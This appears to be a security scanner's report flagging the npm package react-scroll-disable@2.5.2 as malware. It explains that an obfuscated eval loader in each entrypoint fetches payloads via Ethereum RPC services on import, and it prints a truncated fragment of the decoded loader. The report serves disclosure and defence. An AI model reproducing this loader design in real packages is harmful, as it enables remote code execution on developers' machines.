registry / Remote code execution / react-scroll-disable
react-scroll-disable
Disables scroll outside of `children` node.
This report shows the evidence for react-scroll-disable@2.5.2, the only known version.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiConfirmed import-time staged remote code execution in all published entrypoints. The absence of install hooks does not mitigate the concrete runtime execution chain.
Static reason
No blocking static signals were detected.
Trigger
Application build, server, or tooling imports react-scroll-disable.
Impact
Arbitrary attacker-controlled code execution and persistence outside the intended scroll-control functionality.
Mechanism
Obfuscated blockchain-addressed remote payload loader with eval and detached child-process execution.
Attack narrative
Each public entrypoint appends a Base64-obfuscated immediate async loader. It contacts configured/public Ethereum RPC services, locates transaction data, derives further hosts, retrieves an encoded payload, and executes it via eval or a detached `node -e` process. This is unrelated to the advertised React scroll utility and runs solely on import.
AI rationale
Confirmed import-time staged remote code execution in all published entrypoints. The absence of install hooks does not mitigate the concrete runtime execution chain.
Evidence
package.jsondist/es5/index.jsdist/es2015/index.jsdist/es2019/index.js
Network endpoints2
eth.blockscout.com/apieth-mainnet.public.blastapi.io
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- All three published entrypoints append obfuscated `eval(atob(...))`.
- Decoded loader runs immediately when the package entrypoint is imported.
- Loader queries Ethereum RPCs, including `eth.blockscout.com` and `eth-mainnet.public.blastapi.io`, for staged data.
- It derives remote hosts, fetches a payload, XOR-decodes it, then executes it with `eval` or detached `node -e`.
- `package.json` exposes the compromised files as main/module entrypoints.
Evidence against
- No npm preinstall/install/postinstall hook is declared.
- The visible React scroll-control modules are package-aligned, but do not constrain the appended loader.
Behavioral surface
Eval
HighEntropyStringsMinified
Source & flagged code
2 flagged · loading sourcedist/es5/index.jsView file
5var Combination_1 = tslib_1.__importDefault(require("./Combination"));
L6: exports.RemoveScroll = Combination_1.default; ...
Low
Eval
Package source references a known benign dynamic code generation pattern.
dist/es5/index.jsView on unpkg · L5dist/es5/index.js#virtual:base64:round1View file
1global.i="A11--#";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=r...
High
Same File Env Network Execution
A single source file combines environment access, network access, and code or shell execution; review context before blocking.
dist/es5/index.js#virtual:base64:round1View on unpkg · L1Findings
1 High3 Low
HighSame File Env Network Executiondist/es5/index.js#virtual:base64:round1
LowScripts Present
LowEvaldist/es5/index.js
LowHigh Entropy Strings
Affected versions and remediation
This report applies to react-scroll-disable@2.5.2.
The versions list below shows the verdict for each recorded version.
- Avoid installing react-scroll-disable@2.5.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.